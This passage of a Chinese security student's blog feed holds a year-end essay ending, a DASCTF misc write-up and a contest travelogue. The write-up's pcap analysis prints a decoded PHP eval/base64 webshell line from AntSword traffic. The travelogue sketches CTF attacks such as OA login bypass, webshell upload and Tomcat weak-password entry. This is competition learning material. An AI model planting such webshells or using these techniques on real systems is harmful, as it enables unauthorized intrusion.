班的艰难险恶，还是决定从实验班的航道掉头返航。</p><p>他人对自己的摆渡，就是他人做纤夫，把自己渡到河对岸。一般来说，船舵被掌握在别人的手里时，你只能祈祷摆渡者怀揣着一颗善心。譬如有人将我渡到大河对岸，在我的小木船快抵达对岸的时候，将我甩入了湍急的激流中，我在水下窒息了近两个月，深切感受了无法呼吸的痛苦之后，才得以浮出水面大口呼吸新鲜空气。摆渡者自称这次渡船事故并非有心之举，我也只好将渡夫对自己的伤害理解为无心之失，毕竟林肯说过，“不以恶意对人，尽以仁义示人”。</p><hr><h3 id="焦虑"><a href="#焦虑" class="headerlink" title="焦虑"></a>焦虑</h3><p>最后谈谈困扰自己一整年的焦虑问题，因为临近期末，焦虑问题又不可避免地复发。在国内现在这种内卷盛行的环境下，即使摆烂、躺平，只要不是像第欧根尼那样在犬儒主义的庇护下对生活无欲无求，就不可避免地陷入焦虑之中。</p><p>作为一名在读大学生，我的焦虑问题自然就是前途。更具体一些就是，读研还是就业？一名大学生理论上的出路包括保、考、就业，其中保又包含保研和保外，考也包含考研、考外、考公等等，就目前我所接触到的专业前景和经济实力而言，保研和就业是我的首选项（考研太累了，基本不会考虑），而保研对绩点、竞赛甚至科研的要求较高——本专业往年的数据是前30%的学生获得保研资格，就业则对实践能力更为看重，甚至对绩点的要求反而不能太高——据学长所说，怕绩点太高的学生即使通过面试，在拥有保研资格的情况下依然会选择保研而放弃签署劳动合同。因此，不同的前途也代表着大学期间不同的努力方向：追求保研的应该更“卷”绩点，多参与竞赛，多进实验室参与项目；追求就业的对绩点反而应该“躺平”，着重提升自己的实践能力。</p><p>根据学长的情报，网络空间安全的研究生，在薪资待遇方面不会比本科生有太多的优势——一位在华为的学长薪资与北大硕同事的相持，一位在阿里的学长薪资与清华博同事的相当，研究生的优势比起本科生更多是进入国企、营业厅等“公家饭”单位的机会更大。但是，也有学长对读研的推荐，加上上述的两位学长在今年的秋招中也曾碰壁，其中一位更是差点面临无业的困境，让我对本科就业的前景产生了一些怀疑——会不会当我毕业的时候，网安也像其它互联网行业一样，本科毕业即失业？</p><p>屋漏偏逢连夜雨，一年的摆烂使我的均分下降了四分，专业分流又选择了高绩点同学居多的信息安全专业，现在连自己是否能触及专业保研线都成了一个未知数。众所周知，一个人在能拥有选择的时候往往是焦虑程度最小的时候，因为自己可以根据形势的变换做出不同的选择，譬如当我稳过保研线的时候，倘若我毕业时我的担忧成真，我完全可以读研后凭借研究生的学历找一份“铁饭碗”。而当我只有就业这一个选项的时候，不管我毕业时就业形势如何，我都必须在秋招市场上寻找一份能够填饱肚子的工作——而结果很有可能就是无业而归。</p><p>但要追求两手选择，就要”卷“课内以提高绩点，而课内的课程总是给我一种和所学专业关系甚微的感觉——概率论、大学物理、数字逻辑与电路，有的时候我甚至不是很清楚我学习这些课程是因为我的专业需要应用这些课程的知识，还是这只是所谓“信息黄埔”的理工类学校打着通识课幌子的机械化授课。也因此，尽管我没有资格以”课内无用论“为我一年的摆烂辩解，但我依然无法对课内提起太多兴趣。</p><p>我其实也明白，焦虑不能解决任何问题，脚踏实地是仰望星空的唯一可行策略。但有的时候对前途的迷茫很难让自己不产生焦虑情绪，而焦虑情绪是一种极致感性化的产物，不是任何时候我都分摊的出理智来缓解我的焦虑。</p><p>我也明白，期末周努力，把绩点提上去；多参与竞赛，把竞赛分加满，有渠道和空闲时间再争取参加科研项目，才是能让自己拥有保研与就业选择权的王法。新的一年，自己也应该向着这个方向奋力进取。</p><hr><h3 id="尾记"><a href="#尾记" class="headerlink" title="尾记"></a>尾记</h3><p>《这个杀手不太冷》中，女主玛蒂尔达问男主莱昂，“人生总是这么痛苦吗？还是只有小时候是这样？”，莱昂回答她，“总是如此”。</p><p><img src="https://s2.loli.net/2023/12/31/reVnPtuSMCW5L9K.jpg" alt></p><p>同样的，如果我们感觉这一年生活得不是很顺心，我们也可以扪心自问，“每年都是这么不如意吗？还是只有今年是这样？”，我相信，我们大多数人的答案都会是，“总是如此”。</p><p>童年时盼望长大后独当一面，长大后怀念童年时无忧无虑；高中时向往大学自由自在，大学时追忆高中清纯快乐。也许每一个人都不想继续度过自己平乏而又逆来顺受的当下生活，但是也许过去、现在、未来每一个当下的瞬间，对自己的生活的评价都是如此，又对当时的过去或者未来感到无比向往。</p><p>那么，不妨享受当下每一个生活过的痕迹，至少，这一篇2023年的年终总结，就是为了记录这些痕迹而诞生的。</p><p>让我们庆祝自己完整地活过了2023年！现在，是时候踏上2024年的列车了。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;序言&quot;&gt;&lt;a href=&quot;#序言&quot; class=&quot;headerlink&quot; title=&quot;序言&quot;&gt;&lt;/a&gt;序言&lt;/h3&gt;&lt;p&gt;2023年1月1日的00点00分，我在干嘛呢？那个时候，我应该在打跨年的CATCTF。&lt;/p&gt;
&lt;p&gt;如果你告诉那个时候的我，这个跨年夜还在</summary>
      
    
    
    
    <category term="总结" scheme="https://c26h52.github.io/categories/%E6%80%BB%E7%BB%93/"/>
    
    
    <category term="随笔" scheme="https://c26h52.github.io/tags/%E9%9A%8F%E7%AC%94/"/>
    
  </entry>
  
  <entry>
    <title>DASCTF 10&amp;11月赛部分misc复现</title>
    <link href="https://c26h52.github.io/2023/12/08/dasctf-10-11-yue-sai-bu-fen-misc-fu-xian/"/>
    <id>https://c26h52.github.io/2023/12/08/dasctf-10-11-yue-sai-bu-fen-misc-fu-xian/</id>
    <published>2023-12-08T08:55:55.000Z</published>
    <updated>2023-12-08T13:53:04.525Z</updated>
    
    <content type="html"><![CDATA[<h2 id="justpaint"><a href="#justpaint" class="headerlink" title="justpaint"></a>justpaint</h2><p>（DASCTF X CBCTF 10月月赛）FLAG被我弄丢了&gt;_&lt;不过，JBN应该记得，或许你能从他那得到一些线索。</p><p>链接：<a href="https://pan.baidu.com/s/19Iymf2mwak1PtSPyJGjZYg?pwd=DASC">https://pan.baidu.com/s/19Iymf2mwak1PtSPyJGjZYg?pwd=DASC</a> 提取码：DASC —来自百度网盘超级会员V5的分享</p><hr><p>ai题，附件包括train.py和jbn.pth，train.py文件内容如下：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> torch<span class="token keyword">import</span> torch<span class="token punctuation">.</span>nn <span class="token keyword">as</span> nn<span class="token keyword">import</span> numpy <span class="token keyword">as</span> np<span class="token keyword">import</span> matplotlib<span class="token punctuation">.</span>pyplot <span class="token keyword">as</span> plt<span class="token keyword">from</span> PIL <span class="token keyword">import</span> Image<span class="token keyword">import</span> cv2<span class="token keyword">class</span> <span class="token class-name">JBN</span><span class="token punctuation">(</span>nn<span class="token punctuation">.</span>Module<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">def</span> <span class="token function">__init__</span><span class="token punctuation">(</span>self<span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token builtin">super</span><span class="token punctuation">(</span>JBN<span class="token punctuation">,</span> self<span class="token punctuation">)</span><span class="token punctuation">.</span>__init__<span class="token punctuation">(</span><span class="token punctuation">)</span>        self<span class="token punctuation">.</span>main <span class="token operator">=</span> nn<span class="token punctuation">.</span>Sequential<span class="token punctuation">(</span>            nn<span class="token punctuation">.</span>Linear<span class="token punctuation">(</span><span class="token number">100</span><span class="token punctuation">,</span> <span class="token number">256</span><span class="token punctuation">)</span><span class="token punctuation">,</span>            nn<span class="token punctuation">.</span>ReLU<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>            nn<span class="token punctuation">.</span>Linear<span class="token punctuation">(</span><span class="token number">256</span><span class="token punctuation">,</span> <span class="token number">512</span><span class="token punctuation">)</span><span class="token punctuation">,</span>            nn<span class="token punctuation">.</span>ReLU<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>            nn<span class="token punctuation">.</span>Linear<span class="token punctuation">(</span><span class="token number">512</span><span class="token punctuation">,</span> <span class="token number">452</span> <span class="token operator">*</span> <span class="token number">280</span><span class="token punctuation">)</span><span class="token punctuation">,</span>            nn<span class="token punctuation">.</span>Tanh<span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token punctuation">)</span>    <span class="token keyword">def</span> <span class="token function">forward</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> x<span class="token punctuation">)</span><span class="token punctuation">:</span>        img <span class="token operator">=</span> self<span class="token punctuation">.</span>main<span class="token punctuation">(</span>x<span class="token punctuation">)</span>        img <span class="token operator">=</span> img<span class="token punctuation">.</span>view<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">452</span><span class="token punctuation">,</span> <span class="token number">280</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> img<span class="token keyword">def</span> <span class="token function">watch_flag</span><span class="token punctuation">(</span>img<span class="token punctuation">)</span><span class="token punctuation">:</span>    flag <span class="token operator">=</span> cv2<span class="token punctuation">.</span>imread<span class="token punctuation">(</span><span class="token string">'./data/data/flag.png'</span><span class="token punctuation">)</span>    gray_image <span class="token operator">=</span> cv2<span class="token punctuation">.</span>cvtColor<span class="token punctuation">(</span>flag<span class="token punctuation">,</span> cv2<span class="token punctuation">.</span>COLOR_BGR2GRAY<span class="token punctuation">)</span>    flag_tensor <span class="token operator">=</span> torch<span class="token punctuation">.</span>from_numpy<span class="token punctuation">(</span>np<span class="token punctuation">.</span>array<span class="token punctuation">(</span>gray_image<span class="token punctuation">)</span><span class="token punctuation">)</span>    flag_tensor <span class="token operator">=</span> flag_tensor<span class="token punctuation">.</span>unsqueeze<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">.</span>transpose<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span>    img_tensor <span class="token operator">=</span> img    flag_tensor <span class="token operator">=</span> flag_tensor<span class="token punctuation">.</span>unsqueeze<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>    img_tensor <span class="token operator">=</span> img_tensor<span class="token punctuation">.</span>unsqueeze<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>    loss_fn <span class="token operator">=</span> torch<span class="token punctuation">.</span>nn<span class="token punctuation">.</span>MSELoss<span class="token punctuation">(</span><span class="token punctuation">)</span>    loss <span class="token operator">=</span> loss_fn<span class="token punctuation">(</span>flag_tensor<span class="token punctuation">.</span><span class="token builtin">float</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> img_tensor<span class="token punctuation">)</span>    <span class="token keyword">return</span> lossjbn <span class="token operator">=</span> JBN<span class="token punctuation">(</span><span class="token punctuation">)</span>g_optimizer <span class="token operator">=</span> torch<span class="token punctuation">.</span>optim<span class="token punctuation">.</span>Adam<span class="token punctuation">(</span>jbn<span class="token punctuation">.</span>parameters<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> lr<span class="token operator">=</span><span class="token number">0.001</span><span class="token punctuation">)</span>min_loss <span class="token operator">=</span> <span class="token builtin">float</span><span class="token punctuation">(</span><span class="token string">'inf'</span><span class="token punctuation">)</span><span class="token keyword">for</span> epoch <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    random_noise <span class="token operator">=</span> torch<span class="token punctuation">.</span>randn<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">100</span><span class="token punctuation">)</span>    jbn_img <span class="token operator">=</span> jbn<span class="token punctuation">(</span>random_noise<span class="token punctuation">)</span>    g_optimizer<span class="token punctuation">.</span>zero_grad<span class="token punctuation">(</span><span class="token punctuation">)</span>    g_loss <span class="token operator">=</span> watch_flag<span class="token punctuation">(</span>jbn_img<span class="token punctuation">)</span>    g_loss<span class="token punctuation">.</span>backward<span class="token punctuation">(</span><span class="token punctuation">)</span>    g_optimizer<span class="token punctuation">.</span>step<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">with</span> torch<span class="token punctuation">.</span>no_grad<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">if</span> g_loss <span class="token operator">&lt;</span> min_loss<span class="token punctuation">:</span>            min_loss <span class="token operator">=</span> g_loss            torch<span class="token punctuation">.</span>save<span class="token punctuation">(</span>jbn<span class="token punctuation">.</span>state_dict<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">'jbn.pth'</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>该程序是一个基本对抗网络生成算法模型，生成器（JBN）通过接受随机噪声作为输入生成图像，并通过watch_flag函数计算生成图像与flag图像之间的均方误差损失，将损失最小的模型保存至jbn.pth</p><p>所以我们只要将jbn.pth重新生成回img图像即可得到flag图像</p><p>exp.py如下：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> torch<span class="token keyword">import</span> torch<span class="token punctuation">.</span>nn <span class="token keyword">as</span> nn<span class="token keyword">import</span> numpy <span class="token keyword">as</span> np<span class="token keyword">import</span> matplotlib<span class="token punctuation">.</span>pyplot <span class="token keyword">as</span> plt<span class="token keyword">import</span> cv2<span class="token comment"># 定义JBN模型</span><span class="token keyword">class</span> <span class="token class-name">JBN</span><span class="token punctuation">(</span>nn<span class="token punctuation">.</span>Module<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">def</span> <span class="token function">__init__</span><span class="token punctuation">(</span>self<span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token builtin">super</span><span class="token punctuation">(</span>JBN<span class="token punctuation">,</span> self<span class="token punctuation">)</span><span class="token punctuation">.</span>__init__<span class="token punctuation">(</span><span class="token punctuation">)</span>        self<span class="token punctuation">.</span>main <span class="token operator">=</span> nn<span class="token punctuation">.</span>Sequential<span class="token punctuation">(</span>            nn<span class="token punctuation">.</span>Linear<span class="token punctuation">(</span><span class="token number">100</span><span class="token punctuation">,</span> <span class="token number">256</span><span class="token punctuation">)</span><span class="token punctuation">,</span>            nn<span class="token punctuation">.</span>ReLU<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>            nn<span class="token punctuation">.</span>Linear<span class="token punctuation">(</span><span class="token number">256</span><span class="token punctuation">,</span> <span class="token number">512</span><span class="token punctuation">)</span><span class="token punctuation">,</span>            nn<span class="token punctuation">.</span>ReLU<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>            nn<span class="token punctuation">.</span>Linear<span class="token punctuation">(</span><span class="token number">512</span><span class="token punctuation">,</span> <span class="token number">452</span> <span class="token operator">*</span> <span class="token number">280</span><span class="token punctuation">)</span><span class="token punctuation">,</span>            nn<span class="token punctuation">.</span>Tanh<span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token punctuation">)</span>    <span class="token keyword">def</span> <span class="token function">forward</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> x<span class="token punctuation">)</span><span class="token punctuation">:</span>        img <span class="token operator">=</span> self<span class="token punctuation">.</span>main<span class="token punctuation">(</span>x<span class="token punctuation">)</span>        img <span class="token operator">=</span> img<span class="token punctuation">.</span>view<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">452</span><span class="token punctuation">,</span> <span class="token number">280</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> img<span class="token comment"># 加载JBN模型</span>jbn <span class="token operator">=</span> JBN<span class="token punctuation">(</span><span class="token punctuation">)</span>jbn<span class="token punctuation">.</span>load_state_dict<span class="token punctuation">(</span>torch<span class="token punctuation">.</span>load<span class="token punctuation">(</span><span class="token string">'jbn.pth'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>jbn<span class="token punctuation">.</span><span class="token builtin">eval</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  <span class="token comment"># 设置模型为评估模式，不进行梯度计算</span><span class="token comment"># 生成随机噪声</span>random_noise <span class="token operator">=</span> torch<span class="token punctuation">.</span>randn<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">100</span><span class="token punctuation">)</span><span class="token comment"># 使用生成器生成图像</span><span class="token keyword">with</span> torch<span class="token punctuation">.</span>no_grad<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    generated_img <span class="token operator">=</span> jbn<span class="token punctuation">(</span>random_noise<span class="token punctuation">)</span><span class="token comment"># 转换为numpy数组</span>generated_img_np <span class="token operator">=</span> generated_img<span class="token punctuation">.</span>squeeze<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>cpu<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>numpy<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment"># 保存生成的图像为文件</span>cv2<span class="token punctuation">.</span>imwrite<span class="token punctuation">(</span><span class="token string">'generated_image.png'</span><span class="token punctuation">,</span> generated_img_np <span class="token operator">*</span> <span class="token number">255.0</span><span class="token punctuation">)</span>  <span class="token comment"># 乘以255以还原到0-255的范围</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"Generated image saved as generated_image.png"</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>运行后得到generated_image.png</p><p><img src="https://s2.loli.net/2023/12/08/XNQq1adj9FBZ5xH.png" alt></p><p>上下旋转、左右镜像后得到flag</p><p><img src="https://s2.loli.net/2023/12/08/497gdBvNLGHcDpt.png" alt></p><hr><h3 id="彩蛋"><a href="#彩蛋" class="headerlink" title="彩蛋"></a>彩蛋</h3><h5 id="Q1：什么是epoch？"><a href="#Q1：什么是epoch？" class="headerlink" title="Q1：什么是epoch？"></a>Q1：什么是epoch？</h5><p>一个epoch表示训练集被模型完整训练过一次，包含以下四个步骤：</p><p>①前向传播：将训练集样本输入模型中，计算得到模型输出</p><p>②计算损失：计算模型输出和真实标签之间的损失</p><p>③反向传播：根据损失计算梯度，并将梯度传播回模型的参数</p><p>④参数更新：使用优化算法更新模型的参数，以减少损失</p><p>在justpaint中，</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">for</span> epoch <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">:</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>表示该训练过程经历了10次epoch，每次训练过程都循环生成随机噪声-&gt;通过JBN生成图像-&gt;计算损失-&gt;反向传播-&gt;更新JBN参数的步骤</p><h5 id="Q2：什么是学习率？"><a href="#Q2：什么是学习率？" class="headerlink" title="Q2：什么是学习率？"></a>Q2：什么是学习率？</h5><p>学习率是优化算法中的一个超参数（AI中的参数自动生成，超参数则需手动控制），控制每次参数更新的步长，在justpaint中，</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">g_optimizer <span class="token operator">=</span> torch<span class="token punctuation">.</span>optim<span class="token punctuation">.</span>Adam<span class="token punctuation">(</span>jbn<span class="token punctuation">.</span>parameters<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> lr<span class="token operator">=</span><span class="token number">0.001</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>参数通过Adam优化器，以0.001的学习率进行调整</p><hr><h2 id="IceTea"><a href="#IceTea" class="headerlink" title="IceTea"></a>IceTea</h2><p>（DAS X 0psu3 11月月赛）小黑喜欢喝冰红茶，被出题人发现后每天都说他喝屌丝饮料，结果小黑发现出题人也喝冰红茶，然后就往出题人的冰红茶里加了点料。</p><p>  <a href="DASCTF-10-11月赛部分misc复现\IceTea.cap">IceTea.cap</a> </p><hr><p>流量包题，首先按时间顺序追踪第一个HTTP流，发现一串Hex加密后的密文（黑色括号起始）</p><p><img src="https://s2.loli.net/2023/12/08/AxD28Og76eWLF5n.png" alt></p><p>遂拖入CyberChef解密，得到一个elf文件，导出</p><p><img src="https://s2.loli.net/2023/12/08/1GtYUi6N3rPsDMj.png" alt></p><p>导出后拖入IDA，发现存在upx加壳，用ExeinfoPE也发现有upx壳，于是进行机脱，再次拖入IDA后Shift+F12得到base64表（最下面一行）</p><p><img src="https://s2.loli.net/2023/12/08/imDMbLUOGpcZ2Yy.png" alt></p><p>按时间顺序追踪第三个HTTP流，发现一串base64加密后的密文，解密后得到一串指令</p><p>cd “/www/wwwroot/DAS202310.com”;./ezbase e flag.txt IceTea.txt;echo 27d667b0c949;pwd;echo f0e52b6ed</p><p>（每个HTTP流内容前URL解码后得到cmd=@eval(@base64_decode($_POST[‘k59c2ae7730483’]))，判断可能是蚁剑流量包，而蚁剑流量base64解密前要舍弃前两位字符）</p><p>可见在/www/wwwroot/DAS202310.com目录下通过ezbase将flag.txt加密成了IceTea.txt</p><p><img src="https://s2.loli.net/2023/12/08/kuEJlx8eLydDY9p.png" alt></p><p><img src="https://s2.loli.net/2023/12/08/QdwLACeUsnZc8Na.png" alt></p><p>接下来追踪第四个HTTP流，同样发现一串base64加密后的密文并与第三个HTTP流中发现的相似，解密后得到另一串指令</p><p>cd “/www/wwwroot/DAS202310.com”;cat IceTea.txt;echo 27d667b0c949;pwd;echo f0e52b6ed</p><p>可见在/www/wwwroot/DAS202310.com目录下打开了IceTea.txt，从第三个HTTP流中我们知道IceTea.txt是flag.txt加密后的密文</p><p><img src="https://s2.loli.net/2023/12/08/tqYpJUaOhiGN3EM.png" alt></p><p><img src="https://s2.loli.net/2023/12/08/5AFfcIm2jXpoR6C.png" alt></p><p>看一下Response部分对应的明文</p><p><img src="https://s2.loli.net/2023/12/08/4moi3hnBGcy5Os8.png" alt></p><p>得到reftqRrg4QB9zvZQzwf50xn51CZQxSf51gZPzxj5zhjF1CI75qE=应该是ezbase加密后的IceTea.txt内容</p><p>用第一个HTTP流中得到的base64表解密，得到flag</p><p><img src="https://s2.loli.net/2023/12/08/1XUqM5TKYlVRyxz.png" alt></p><hr><h3 id="彩蛋-1"><a href="#彩蛋-1" class="headerlink" title="彩蛋"></a>彩蛋</h3><p>如果你像我一样蠢，对第一个流量包进行Hex解密时把不是Hex密文的内容也复制进CyberChef的话，你会得到一个IDA检测得出upx壳、ExeinfoPE也检测得出upx壳、但脱壳工具坚持认为加的不是upx壳的elf</p><p><img src="https://s2.loli.net/2023/12/08/ard32xnfCN6sGWq.png" alt></p><p><img src="https://s2.loli.net/2023/12/08/R1spGUuw9jVNcPt.png" alt></p><hr>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;justpaint&quot;&gt;&lt;a href=&quot;#justpaint&quot; class=&quot;headerlink&quot; title=&quot;justpaint&quot;&gt;&lt;/a&gt;justpaint&lt;/h2&gt;&lt;p&gt;（DASCTF X CBCTF 10月月赛）FLAG被我弄丢了&amp;gt;_&amp;lt;不过</summary>
      
    
    
    
    <category term="misc" scheme="https://c26h52.github.io/categories/misc/"/>
    
    
    <category term="misc" scheme="https://c26h52.github.io/tags/misc/"/>
    
  </entry>
  
  <entry>
    <title>鹏程杯决赛游记</title>
    <link href="https://c26h52.github.io/2023/11/24/peng-cheng-bei-jue-sai-you-ji/"/>
    <id>https://c26h52.github.io/2023/11/24/peng-cheng-bei-jue-sai-you-ji/</id>
    <published>2023-11-24T06:38:49.000Z</published>
    <updated>2023-11-24T12:19:04.092Z</updated>
    
    <content type="html"><![CDATA[<p>“<strong>两只小老鼠掉进了牛奶桶，第一只很快就放弃了被淹死了，第二只却不放弃。它猛烈挣扎，直到把牛奶都搅拌成了奶油，然后爬了出去</strong>”</p><p>也许在断网收手机的赛场坐牢的自己很像第一只可怜又无助的小鼠，但是还是希望自己能通过实打实的学习，有朝一日成为把牛奶搅拌成奶油然后爬出牛奶桶的硕鼠。</p><p>这一篇游记写来记录第一次参加线下赛坐牢的经历。</p><p><img src="https://s2.loli.net/2023/11/24/gbONlwLKjs2vrEd.jpg" alt></p><h2 id="Day-0"><a href="#Day-0" class="headerlink" title="Day 0"></a>Day 0</h2><p>通宵赶上七点的飞机，在飞机上意外地精神，于是看完了《后窗》和《城市之光》，看完后终于昏昏欲睡了，但这个时候飞机落地了。</p><p>下飞机后，不得不说，不用把自己裹成粽子被妖风冻成冰河世纪猛犸象还是很舒适的。打车前往酒店，这也是我第一次住电竞酒店。知道的知道我是来打比赛的，不知道的还以为我是来旅游的（好像还真是）</p><p>在酒店补了一下午觉，一起打了一晚上LOL，然后各自配了下比赛要用的工具和环境。由于我是零渗透经验，所以只能对着搜索引擎搜到的按图索骥，装了Xray和Goby，并手动复制了他们的使用文档到本地。</p><h2 id="Day-1"><a href="#Day-1" class="headerlink" title="Day 1"></a>Day 1</h2><p>第一天是体验最好的一天，上来虽然发现Xray不会配置和使用，但是用Goby还是很轻松扫出用通达OA写的登录界面利用 phpsession绕过登录的一个漏洞……后来发现YHYJ（队友）用Wuhurribin（队友）的工具一把梭了通达OA绕过登录+木马上传的一个联动漏洞（Wuhurribin：我怎么不知道我有这个工具？），拿到了我们队本场比赛的开门红</p><p>然后是用织梦cms写的车企网站，找了很多织梦本地的漏洞都无功而返，结果发现网站的/www.zip就藏着源码没被我们扫到，解压zip又能拿到一个flag，然后发现/admin_lvqc.com_car的api指向后台登陆界面</p><p>在一万次注入失败后，f0和Wuhurribin被周公托梦到的后台的登录账号和密码（原来/admin_lvqc.com_car这个api的意思就是账号是admin密码是lvqc.com……真是够低能的），登进去又出一个flag，可惜在内网渗透的时候卡在了账户提权上，关不掉防火墙</p><p>剩下一个看得出模板的就是apache的tomcat写的深圳电网，可惜本地漏洞都试了一遍也没有进展</p><p>坚持到了最后一个小时才开始打植物大战僵尸随机模仿者版</p><p>结束后跟学长交流，发现织梦cms的后台登陆的确是用sql注入的，然后看比赛群发现tomcat的题前端进/manager/html会被403，但通过api进/manager/html就可以弱口令登录（流汗黄豆），剩下的确实是升维打击了</p><h2 id="Day-2"><a href="#Day-2" class="headerlink" title="Day 2"></a>Day 2</h2><p>第二天是最坐牢的一天，首先几乎所有的题目环境都是ssh连接，这就意味着网页端是无法访问题目环境的，但是由于我ssh语法稀碎，所以连不上很多题目环境</p><p>一道远程桌面连接的题，首先连接卡，进去更卡，远程桌面就只有一个ProjectA的文件夹，里面的蛮多文件被恶意加密了，题目要求就是恢复被恶意加密的文件……虽然后面放出提示又告诉我可以不解密而是重新部署项目，又告诉我可以通过给出密钥的AES解密恢复，但奈何我的密码学基础比白纸薄，只能束手无策</p><p>另一道远程桌面连接的题是远程桌面服务执行代码漏洞（CVE-2019-0708），但奈何当时本地CVE里面关于这道题的CVEmarkdown都是英文版，看了半天一头雾水也不知道怎么复现，只好放弃</p><p>由于太过坐牢加上当天是S赛总决赛，所以四点左右我们就溜了（出来的时候工作人员还跟我们说开幕式没演完……）</p><h2 id="Day-3"><a href="#Day-3" class="headerlink" title="Day 3"></a>Day 3</h2><p>第三天是最平平无奇的一天，又有一道tomcat的题，可惜这次账号密码重置过，用弱口令攻击毫无建树，穷尽各种本地有的方法也拿不下来</p><p>队内大腿f0这边在企业系统的题中通过Cookie参数上传了个木马，连上了目标服务器，由于这个系统环境只给五个端口但是有60多支队伍要打，所以连的时候卡得心态扭曲了，后续连上后直接开始植物大战僵尸，疯狂抵御各队伍传马连马的攻势，成功守护住了戴夫的后院，直到因为有人恶意破坏环境导致防守方被迫溯源重置环境才结束（赛后比赛群：防守方删马删得好快）</p><p>这也是当天唯一的进展，后续摆烂后干脆连机打起了三国杀2V2（名场面：Wuhurribin对队友的无中生友打出无懈可击，老戏骨名不虚传）</p><p><img src="https://s2.loli.net/2023/11/24/kVUqni13vpF6eNC.jpg" alt></p><p>打完就是摸鱼时间，队友在深圳疯狂享受夜生活，我则回了趟家。</p><p>不在学校的好处就是，你看着车水马龙的象牙塔外的世界，比起你在大学校园里N点一线的行动路径，更能激发你对一些问题的思考，比如到底该不该继续摆下去、自己想要的到底是什么……（这些问题的思考也都是浅思拙见，以后再想起来的时候有空再写几篇）</p><p>至此，这场线下赛也是划上了一个句号，能收获15个G的工具和漏洞库，开阔眼界，我也受益良多。后续会更新这场线下赛我接触到的所有漏洞的复现（因为题目环境复现不了了），也希望自己能在不断地学习和比赛过后变成那只能把牛奶搅成奶油的老鼠。</p><p><img src="https://s2.loli.net/2023/11/24/5QghHB6AMULfkE1.jpg" alt></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;“&lt;strong&gt;两只小老鼠掉进了牛奶桶，第一只很快就放弃了被淹死了，第二只却不放弃。它猛烈挣扎，直到把牛奶都搅拌成了奶油，然后爬了出去&lt;/strong&gt;”&lt;/p&gt;
&lt;p&gt;也许在断网收手机的赛场坐牢的自己很像第一只可怜又无助的小鼠，但是还是希望自己能通过实打实的学习，有朝一</summary>
      
    
    
    
    <category term="随笔" scheme="https://c26h52.github.io/categories/%E9%9A%8F%E7%AC%94/"/>
    
    
